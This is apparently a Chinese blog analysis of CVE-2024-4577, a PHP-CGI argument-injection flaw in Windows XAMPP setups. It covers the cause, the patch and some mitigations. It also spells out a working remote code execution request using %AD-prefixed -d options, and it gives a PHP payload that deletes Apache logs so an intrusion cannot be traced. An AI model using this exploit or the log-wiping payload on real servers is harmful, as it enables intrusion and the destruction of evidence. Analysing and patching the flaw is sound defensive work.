五一假期,偶然間刷到了這個(gè)漏洞,我用shodan和鐘馗之眼做了資產(chǎn)掃描,發(fā)現(xiàn)大量有使用XMAPP的用戶,并且攻擊成本并不高,危害卻很大。
中國工程院院士鄔賀銓曾說過:“網(wǎng)絡(luò)安全永遠(yuǎn)在路上,那么總是要不斷在完善,可以說見招拆招”。漏洞評(píng)分達(dá)到了驚人的9.8,這篇文章必須寫。
漏洞影響力
- 用戶眾多: 經(jīng)資產(chǎn)掃描,很多用戶都用的XMAPP,有漏洞的版本至今可以輕而易舉的下載到,相信有不少開發(fā)者使用包含次漏洞的版本。
- 導(dǎo)致服務(wù)器淪陷: 可以通過遠(yuǎn)程代碼執(zhí)行,執(zhí)行任意PHP指令,PHP可以對(duì)文件、數(shù)據(jù)庫進(jìn)行增刪改查操作,那就相當(dāng)于服務(wù)器淪陷,這里就不必演示了。
-
可能導(dǎo)致被攻擊后無法溯源: 由于Windows不像Linux系統(tǒng)那樣對(duì)文件權(quán)限,和應(yīng)用所屬用戶有要求,因此攻擊后可以paylod直接傳入
<?php unlink('../apache/logs/error.log');unlink('../apache/logs/access.log'); ?>刪除請(qǐng)求日志用于銷毀攻擊過程,親測(cè)即使Apache處于運(yùn)行狀態(tài)也好使。如果服務(wù)器實(shí)例本身或上游節(jié)點(diǎn)沒做請(qǐng)求記錄,溯源都不可能。
漏洞成因
Windows的Best-Fit字符編碼轉(zhuǎn)換特性導(dǎo)致PHP原本的安全限制被繞過,導(dǎo)致攻擊者可以通過特定的字符序列繞過此前CVE-2012-1823的防護(hù),從而導(dǎo)致遠(yuǎn)程代碼執(zhí)行。
受影響版本
- 系統(tǒng):Windows 包含繁體中文(950)、簡體中文(936)、日文(932),理論上不排除其它語言的windows也有漏洞。
- 軟件:XAMPP
- PHP受影響版本:
- PHP8.3 < 8.3.8
- PHP8.2 < 8.2.20
- PHP8.1 < 8.1.29
- 其它低版本的PHP已不在維護(hù),可能會(huì)受到影響。
復(fù)現(xiàn)
- 下載:找到XAMPP下載站點(diǎn),我用的是8.1.25 / PHP 8.1.25,https://www.apachefriends.org/download.html,下載直鏈地址:https://nchc.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.1.25/xampp-windows-x64-8.1.25-0-VS16-installer.exe?viasf=1
- 安裝:直接傻瓜式安裝,點(diǎn)擊下一步就可以了,我用虛擬機(jī),直接安裝在C:/xampp。
- 啟動(dòng):打開C:/xampp,有一個(gè)xampp-control.exe,雙擊打開后,進(jìn)入可視化的控制面板,啟動(dòng)Apache即可。
- 構(gòu)造參數(shù)如下(不要用APIPost等專業(yè)的接口請(qǐng)求工具,否則不遵循RestFul下限的請(qǐng)求將導(dǎo)致無法復(fù)現(xiàn)):
POST的請(qǐng)求方式。
URL: 電腦IP/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
Header:Content-Type 設(shè)置為 application/x-www-form-urlencoded
Body:直接傳入<?php phpinfo(); ?>即可,不需要form表單提交所謂的name=value
然后發(fā)送請(qǐng)求,部分亂碼返回不用管,直接RCE了。
漏洞原理分析
繞過原理分析
- Unicode官網(wǎng)提供了Windows的Best-Fit字符編碼轉(zhuǎn)換最基礎(chǔ)的數(shù)據(jù)支撐:https://unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt 52行、25410行,24601行中不難發(fā)現(xiàn),-有
0x00ad和0x002d兩種表示方式,其中0x00ad稱之為連字符。用PowerShell指令也能得到部分驗(yàn)證:
#[System.Text.Encoding]::UTF8.GetBytes('-') 會(huì)將字符 - 轉(zhuǎn)換為它的 UTF-8 字節(jié)序列。
#ForEach-Object { '{0:X2}' -f $_ } 將字節(jié)序列的每個(gè)字節(jié)轉(zhuǎn)換為十六進(jìn)制格式。
[System.Text.Encoding]::UTF8.GetBytes('-') | ForEach-Object { '{0:X2}' -f $_ }
- 并且還需要知道一個(gè)前提:CGI 處理程序提供一個(gè)連字符 (0xAD),CGI處理程序不會(huì)認(rèn)為有必要對(duì)其進(jìn)行轉(zhuǎn)義,而是會(huì)將其傳遞給PHP,但PHP會(huì)將其解釋為真正的鏈接符號(hào)字符,這使得攻擊者能夠?qū)⒁赃B字符開頭的額外命令行參數(shù)偷偷帶入PHP進(jìn)程
- 根據(jù)https://pentesterlab.com/exercises/cve-2012-1823顯示,利用
-d allow_url_include=1 -d auto_prepend_file=php://input是直接可以注入,從而實(shí)現(xiàn)RCE的。 - 剛好,網(wǎng)絡(luò)安全員利用了%ad這個(gè)字符組合,通過Best-Fit匹配到的是連字符-,直接繞過了
if(*p == '-') {skip_getopt = 1;}的等值判斷,注意傳入%,實(shí)際上是url轉(zhuǎn)義的結(jié)果,url轉(zhuǎn)義-的結(jié)果是%2d,那么就傳入%AD繞過,前面的0x00可直接省略。 - 然后再看PHP源碼倉庫的對(duì)該漏洞的補(bǔ)?。?a target="_blank">https://github.com/php/php-src/commit/4dd9a36c165974c84c4217aa41849b70a9fc19c9,從中不難發(fā)現(xiàn):新增的PHP_WIN32代碼段,對(duì)字符編碼做了嚴(yán)格的過濾操作,以防止
*p == '-'繞過,設(shè)置唯一的目的是使得后面?zhèn)魅氲淖址蛔鰠?shù)解析,不做解析相當(dāng)于沒有業(yè)務(wù)邏輯要處理,自然到此為止。
原本的
if(*p == '-') {
skip_getopt = 1;
}
增加了如下方代碼,翻譯過來是,我們必須考慮“best fit”映射行為,通過
/* On Windows we have to take into account the "best fit" mapping behaviour. */
#ifdef PHP_WIN32
if (*p >= 0x80) { //檢查字符是否為高字節(jié)(大于等于 0x80)
wchar_t wide_buf[1]; //創(chuàng)建一個(gè)寬字符數(shù)組,用來存放當(dāng)前字符
wide_buf[0] = *p; //將字符 *p 存放到 wide_buf[0] 中
char char_buf[4]; //創(chuàng)建一個(gè)多字節(jié)字符數(shù)組,用來存放轉(zhuǎn)換后的字符
size_t wide_buf_len = sizeof(wide_buf) / sizeof(wide_buf[0]); //計(jì)算寬字符數(shù)組的長度(這里只包含一個(gè)字符)
size_t char_buf_len = sizeof(char_buf) / sizeof(char_buf[0]); //計(jì)算多字節(jié)字符數(shù)組的長度(最多 4 個(gè)字節(jié))
// 將寬字符轉(zhuǎn)換為多字節(jié)字符,使用 Windows 的 WideCharToMultiByte 函數(shù)
if (WideCharToMultiByte(CP_ACP, 0, wide_buf, wide_buf_len, char_buf, char_buf_len, NULL, NULL) == 0
|| char_buf[0] == '-') { // 如果轉(zhuǎn)換失敗或轉(zhuǎn)換后的第一個(gè)字符是 '-'
skip_getopt = 1; // 設(shè)置跳過 getopt 選項(xiàng)的標(biāo)志
}
}
#endif
RCE攻擊鏈路分析
- 環(huán)境配置漏洞1:打開C:/xampp/apache/conf/httpd.conf,第104行,LoadModule cgi_module modules/mod_cgi.so,指的是Apache使用CGI模式與后端程序運(yùn)行,也只有PHP的CGI模式運(yùn)行,有這個(gè)漏洞。
- 環(huán)境配置漏洞2:然后再打開C:/xampp/apache/conf/extra/httpd-xampp.conf第48行,這就決定攻擊url可以訪問到php-cgi.exe核心二進(jìn)制文件的原因。
ScriptAlias /php-cgi/ "C:/xampp/php/" #任何以 /php-cgi/開頭的 URL 請(qǐng)求都會(huì)被 Apache 轉(zhuǎn)發(fā)到 C:/xampp/php/目錄下的文件。
<Directory "C:/xampp/php"> #指定了對(duì) C:/xampp/php/目錄的訪問控制設(shè)置。它包裹了一些Directory內(nèi)部的指令,用來限制或允許該目錄下文件的訪問。
AllowOverride None #指定不允許在該目錄內(nèi)使用 .htaccess 文件覆蓋全局配置
Options None #禁用了 C:/xampp/php/目錄下所有的選項(xiàng)(如目錄列表、符號(hào)鏈接等),用于減少安全風(fēng)險(xiǎn)。
Require all denied #默認(rèn)情況下,C:/xampp/php/目錄下的所有文件和資源都拒絕訪問
<Files "php-cgi.exe"> #聲明文件php-cgi.exe,準(zhǔn)備做另外的權(quán)限控制
Require all granted #做的是允許php-cgi.exe文件的訪問
</Files>
</Directory>
- 再回頭看php-cgi.exe,他是PHP的CGI方式運(yùn)行的可執(zhí)行文件,用于在Windows環(huán)境中運(yùn)行PHP 腳本,并且有個(gè)前提直到它支持接受GET、POST參數(shù)的。拖到命令行,并添加-h,顯示如下,其中最值得注意的-d參數(shù),用于定義ini配置參數(shù)(并不是將配置寫入文件,而是運(yùn)行期間定義ini配置),這為下游的RCE做好了準(zhǔn)備。
php-cgi.exe -h
Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
php <file> [args...]
-a Run interactively
-b <address:port>|<port> Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse <file>. Implies `-q'
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
-T <count> Measure execution time of script repeated <count> times.
- 根據(jù)上游的說明,解析參數(shù)
%ADd+cgi.force_redirect%3d0+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input,就變成了-d+cgi.force_redirect=0+-d+allow_url_include=1+-d+auto_prepend_file=php://input- cgi.force_redirect=0:https://www.php.net/manual/zh/ini.core.php#ini.cgi.force-redirect 用于控制 PHP 是否可以直接被請(qǐng)求,而不通過 Web 服務(wù)器(如 Apache 或 Nginx)的代理,值為1時(shí),PHP 會(huì)強(qiáng)制要求請(qǐng)求通過 Web 服務(wù)器來進(jìn)行,這個(gè)不加不行,鏈路必須通過Apache,畢竟是通過Apache才能在線訪問的到php-cgi.exe。
- allow_url_include=1:https://www.php.net/manual/zh/filesystem.configuration.php#ini.allow-url-include表示允許PHP可以include或require遠(yuǎn)程文件,或在線的文件。
- auto_prepend_file=php://input:https://www.php.net/manual/zh/ini.core.php#ini.auto-prepend-file,引入遠(yuǎn)程文件的文件名是,獲取原始的POST數(shù)據(jù),這個(gè)數(shù)據(jù),就是上游傳到body體的一句話木馬:
<?php phpinfo(); ?>。 - php-cgi cli模式下,kv之間用空格隔開。但是攻擊URL中,將+換成空格或%20時(shí),攻擊鏈路就失效了,經(jīng)查詢,+被用于表示空格,這是URL編碼的一種習(xí)慣做法,看來是歷史原因,不過能接受參數(shù)就行。
- 至此,攻擊執(zhí)行后,完成攻擊。
修復(fù)方案
- 升級(jí)到?jīng)]有漏洞的PHP版本。
- 對(duì)于PHP版本過低升級(jí)主版本擔(dān)心有問題,或不愿升級(jí)的用戶,打開xampp/apache/conf/extra/httpd-xampp.conf 在約48行左右的
<Directory "C:/xampp/php">內(nèi)添加
RewriteEngine On #啟用重寫
RewriteCond %{QUERY_STRING} ^%ad [NC] #檢查URL參數(shù)后面%ad開頭的路徑,NC表示不區(qū)分大小寫
RewriteRule .? - [F,L] #若任意路徑符合上述特征(.?),不對(duì)url做修改(-),但是要拒絕訪問(F),這是最后一條規(guī)則,如果該規(guī)則匹配成功,就不會(huì)繼續(xù)處理其他的重寫規(guī)則(L)
這個(gè)將導(dǎo)致攻擊返回403
或注釋掉:
ScriptAlias /php-cgi/ "C:/xampp/php/"
這個(gè)將導(dǎo)致攻擊返回404
什么是Windows的Best-Fit字符編碼轉(zhuǎn)換
- 概念:一種用于將字符從一種編碼格式轉(zhuǎn)換到另一種編碼格式的機(jī)制。用于處理不同字符集之間的兼容性問題,尤其是在操作系統(tǒng)中不同區(qū)域、語言或系統(tǒng)應(yīng)用間進(jìn)行字符數(shù)據(jù)交換時(shí),確保字符能夠在不同編碼之間盡可能無誤地轉(zhuǎn)換。
- 特性:
- 字符映射最接近的匹配:在源編碼和目標(biāo)編碼之間,沒有完全匹配的字符時(shí),Best-Fit會(huì)選擇一個(gè)最接近的字符來替代。
- 容忍丟失或不兼容的字符:這種轉(zhuǎn)換方法容忍一些字符的丟失,因?yàn)樗鼤?huì)嘗試保留最為接近的字符。即便目標(biāo)編碼中沒有對(duì)應(yīng)的字符,也不會(huì)讓轉(zhuǎn)換失敗。
- 通常用于兼容老系統(tǒng):Best-Fit字符轉(zhuǎn)換常見于Windows的“兼容性模式”,比如在一些不支持Unicode的舊應(yīng)用程序中,Windows可能使用Best-Fit進(jìn)行字符集轉(zhuǎn)換,以便舊程序可以在現(xiàn)代系統(tǒng)上運(yùn)行,而不至于崩潰或產(chǎn)生亂碼。
- 應(yīng)用場(chǎng)景:
- 從ANSI編碼到Unicode編碼的轉(zhuǎn)換:Windows系統(tǒng)內(nèi)有大量的基于ANSI編碼的程序,這些程序可能并不完全支持Unicode,因此在進(jìn)行字符集轉(zhuǎn)換時(shí)會(huì)使用Best-Fit來避免丟失重要信息。
- 在不同語言的系統(tǒng)間轉(zhuǎn)換字符集:Windows支持多種語言,每種語言有自己的字符編碼標(biāo)準(zhǔn)。Best-Fit轉(zhuǎn)換在這些不同語言的環(huán)境中,可以盡可能減少字符顯示錯(cuò)誤或亂碼問題。
- 優(yōu)點(diǎn):
- 可以在沒有完全映射的情況下完成字符轉(zhuǎn)換,減少亂碼或錯(cuò)誤。
- 容錯(cuò)能力強(qiáng),能夠保證一些非標(biāo)準(zhǔn)字符的正常顯示。
- 缺點(diǎn):
- 轉(zhuǎn)換的結(jié)果可能不完全準(zhǔn)確,尤其是當(dāng)字符集之間的差異較大時(shí),可能會(huì)產(chǎn)生誤解或錯(cuò)誤的字符顯示。
- 在某些情況下,可能會(huì)導(dǎo)致字符信息的丟失,因?yàn)闊o法完全還原原始數(shù)據(jù)。
PHP CGI、Mod、PHP-FPM 3種與Web服務(wù)器通信的區(qū)別
-
PHP CGI(Common Gateway Interface)
- CGI 是最早的一種Web腳本執(zhí)行方式,PHP CGI是PHP在CGI模式下的運(yùn)行方式。每當(dāng)Web服務(wù)器接收到一個(gè)PHP請(qǐng)求時(shí),Web服務(wù)器會(huì)啟動(dòng)一個(gè)PHP進(jìn)程來處理該請(qǐng)求,處理完后再退出。
- 優(yōu)點(diǎn):
- 適配較好,支持與主流服務(wù)器的通信方式。
- 每個(gè)請(qǐng)求都在單獨(dú)的進(jìn)程中運(yùn)行,互相獨(dú)立,具有較高的隔離性。
- 缺點(diǎn):
- 每次請(qǐng)求都要啟動(dòng)一個(gè)新的PHP進(jìn)程,因此性能較差。對(duì)于高流量網(wǎng)站不適合。
-
PHP Mod(Apache mod_php)
- 這是將PHP集成到Apache Web服務(wù)器中的一種方式。PHP作為Apache的一個(gè)模塊運(yùn)行,每當(dāng)Apache處理一個(gè)HTTP請(qǐng)求時(shí),PHP 直接在Apache進(jìn)程中執(zhí)行。這意味著請(qǐng)求和PHP代碼在同一個(gè)進(jìn)程中運(yùn)行。
- 優(yōu)點(diǎn):
- 性能較好:因?yàn)锳pache和PHP在同一進(jìn)程中運(yùn)行。
- 配置簡單:不需要額外的進(jìn)程管理工具,其次是很多集成環(huán)境天生就配好了Apache與PHP的組合。
- 缺點(diǎn):
- 每個(gè)Apache進(jìn)程都會(huì)加載PHP,可能會(huì)導(dǎo)致資源浪費(fèi),尤其是在大量靜態(tài)資源請(qǐng)求時(shí),沒那么輕量級(jí)。
-
PHP-FPM(FastCGI Process Manager)
- 原理:PHP-FPM是FastCGI的進(jìn)程管理器,PHP-FPM在獨(dú)立的進(jìn)程池中運(yùn)行,Nginx服務(wù)器通過FastCGI協(xié)議將請(qǐng)求交給PHP-FPM進(jìn)程池處理。PHP-FPM進(jìn)程池通常是持續(xù)運(yùn)行的,可以在處理多個(gè)請(qǐng)求時(shí)共享資源,避免了CGI每次啟動(dòng)新進(jìn)程的開銷。
- 優(yōu)點(diǎn):
- 性能優(yōu)于CGI,因?yàn)镻HP-FPM進(jìn)程池保持活躍,能夠快速響應(yīng)多個(gè)請(qǐng)求。
- 更靈活,可以配置不同的PHP-FPM池來處理不同的請(qǐng)求,比如不同的PHP配置、不同的用戶。
- 比 Mod-PHP 更輕量,因?yàn)?PHP 進(jìn)程與 Web 服務(wù)器進(jìn)程是分開的。
- 支持進(jìn)程池的管理,可以控制最大進(jìn)程數(shù)、內(nèi)存使用等。
- 缺點(diǎn):
- 配置略為復(fù)雜,需要額外安裝和配置PHP-FPM。
- 需要對(duì)Nginx進(jìn)行額外的配置,以支持FastCGI。
CGI、FastCGI、PHP-FPM本身的區(qū)別
- CGI:是通用網(wǎng)關(guān)接口:一種標(biāo)準(zhǔn),用來讓W(xué)eb服務(wù)器與外部程序(通常是動(dòng)態(tài)語言腳本如PHP、Perl、Python等)進(jìn)行交互。CGI 程序接收HTTP請(qǐng)求、會(huì)啟動(dòng)一個(gè)新的進(jìn)程來執(zhí)行CGI程序。程序執(zhí)行完成后,將結(jié)果返回給Web服務(wù)器。
- 通俗講:電腦(Web服務(wù)器)主機(jī)本身完不成拍攝(后端數(shù)據(jù)復(fù)雜計(jì)算服務(wù))功能,就需要連接一個(gè)攝像頭(后端腳本語言),為了兩者能夠正常通信,就需要指定一套USB協(xié)議(CGI)。
- FastCGI是解決CGI的性能問題而生的快速通用網(wǎng)關(guān)協(xié)議。它不再為每個(gè)請(qǐng)求啟動(dòng)一個(gè)新的進(jìn)程,而是復(fù)用進(jìn)程池中的多個(gè)進(jìn)程來處理多個(gè)請(qǐng)求。FastCGI啟動(dòng)時(shí)會(huì)啟動(dòng)一個(gè)或多個(gè)常駐的進(jìn)程池,這些進(jìn)程會(huì)監(jiān)聽Web服務(wù)器發(fā)來的請(qǐng)求。Web服務(wù)器與FastCGI程序之間通過協(xié)議(通常是Unix socket(套接字)或TCP/IP進(jìn)行通信。
- PHP-FPM是PHP的一個(gè)FastCGI進(jìn)程管理器。添加進(jìn)程管理器的概念可以進(jìn)一步優(yōu)化通信。例如自動(dòng)動(dòng)態(tài)調(diào)整進(jìn)程數(shù)量、或根據(jù)開發(fā)者定制化配置固定進(jìn)程數(shù)量、控制進(jìn)程重啟、慢請(qǐng)求超時(shí)時(shí)間、進(jìn)程所屬用戶、用戶組等。
漏洞相關(guān)鏈接(鳴謝)
- CVE:https://nvd.nist.gov/vuln/detail/CVE-2024-4577
- POC:https://github.com/search?q=CVE-2024-4577&type=repositories
- PHP源碼漏洞補(bǔ)?。?a target="_blank">https://github.com/php/php-src/commit/4dd9a36c165974c84c4217aa41849b70a9fc19c9
- PHP官網(wǎng)對(duì)補(bǔ)丁的更新日志(8.1為例):https://www.php.net/ChangeLog-8.php#8.1.29
- CVE-2012-1823:https://pentesterlab.com/exercises/cve-2012-1823
- DEVCRE 網(wǎng)絡(luò)安全團(tuán)隊(duì):https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/?ref=labs.watchtowr.com
- Orange Tsai 所在網(wǎng)絡(luò)安全團(tuán)隊(duì):https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
- Windows WCTABLE:https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ucoderef/d1980631-6401-428e-a49d-d71394be7da8